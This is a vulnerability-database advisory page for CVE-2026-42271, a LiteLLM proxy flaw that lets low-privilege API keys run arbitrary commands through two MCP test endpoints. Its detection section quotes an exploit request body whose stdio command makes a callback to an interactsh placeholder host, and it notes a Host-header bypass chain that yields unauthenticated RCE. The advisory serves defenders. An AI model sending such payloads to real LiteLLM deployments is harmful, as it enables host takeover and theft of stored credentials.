cbcvebase.
CVE-2026-42271
published 2026-05-08

CVE-2026-42271: LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to…

PriorityP194high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
KEVITWEXPLOIT
CISA Known Exploited Vulnerabilitydue 2026-06-22
Exploited in the wild
EPSS
60.78%
98.3th percentile
LiteLLM is a proxy server (AI Gateway) to call LLM APIs in OpenAI (or native) format. From version 1.74.2 to before version 1.83.7, two endpoints used to preview an MCP server before saving it — POST /mcp-rest/test/connection and POST /mcp-rest/test/tools/list — accepted a full server configuration in the request body, including the command, args, and env fields used by the stdio transport. When called with a stdio configuration, the endpoints attempted to connect, which spawned the supplied command as a subprocess on the proxy host with the privileges of the proxy process. The endpoints were gated only by a valid proxy API key, with no role check. Any authenticated user — including holders of low-privilege internal-user keys — could therefore run arbitrary commands on the host. This issue has been patched in version 1.83.7.

Affected

9 ranges
VendorProductVersion rangeFixed in
ansible-automation-platform-26lightspeed-chatbot-rhel9
ansible-automation-platform-27lightspeed-chatbot-rhel9
berriailitellm
exploit-intelligence-tech-previewvulnerability-analysis-rhel9
litellmlitellm>= 1.74.2 < 1.83.71.83.7
litellmlitellm>= 1.74.2 < 1.83.71.83.7
rhoaiodh-llama-stack-core-rhel9
rhoaiodh-mlflow-rhel9
rhoaiodh-trustyai-garak-lls-provider-dsp-rhel9

Detection & IOCsextracted from sources · hover to see the quote

urlPOST /mcp-rest/test/connection
urlPOST /mcp-rest/test/tools/list
command{"transport":"stdio","command":"python","args":["-c","import urllib.request;urllib.request.urlopen('https://{{interactsh-url}}')"]}
sigma
Review logs for unusual Host header activity and subprocess execution events
  • Detect POST requests to the vulnerable MCP test endpoints /mcp-rest/test/connection and /mcp-rest/test/tools/list; these should be blocked or alerted on at the reverse proxy or API gateway layer.
  • Look for malformed/adversarial Host header values (e.g., 'a/?x=') in HTTP requests to LiteLLM, indicative of the Starlette BadHost bypass (CVE-2026-48710) being chained to achieve unauthenticated RCE.
  • Monitor for unexpected subprocess spawning from the LiteLLM proxy process, especially processes launched with 'command', 'args', and 'env' fields sourced from HTTP request bodies (stdio transport abuse).
  • Alert on HTTP 200 responses from /mcp-rest/test/connection that contain the string 'Failed to connect to MCP server', which indicates the endpoint was reached and attempted execution.
  • Detect requests to /mcp-rest/test/connection or /mcp-rest/test/tools/list that include a JSON body with a 'transport' field set to 'stdio' combined with 'command' and 'args' fields, as this is the exploitation pattern.
  • ·The two vulnerable endpoints (/mcp-rest/test/connection and /mcp-rest/test/tools/list) are only present in LiteLLM versions >= 1.74.2 and < 1.83.7. Deployments outside this range are not affected.
  • ·The exploit chain to unauthenticated RCE requires Starlette <= 1.0.0 to be present in the dependency tree. Without the Starlette BadHost bypass (CVE-2026-48710), exploitation still requires a valid (even low-privilege) proxy API key.
  • ·After patching to version 1.83.7, both test endpoints now require the PROXY_ADMIN role, so low-privilege internal-user keys can no longer trigger them.
  • ·Successful exploitation grants the attacker the full privileges of the LiteLLM proxy process, which may include access to model provider credentials, API keys, and secrets stored by the proxy.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv4.08.7HIGHCVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vulncheck8.8HIGH
cisa8.8HIGH
vendor_redhat8.8HIGH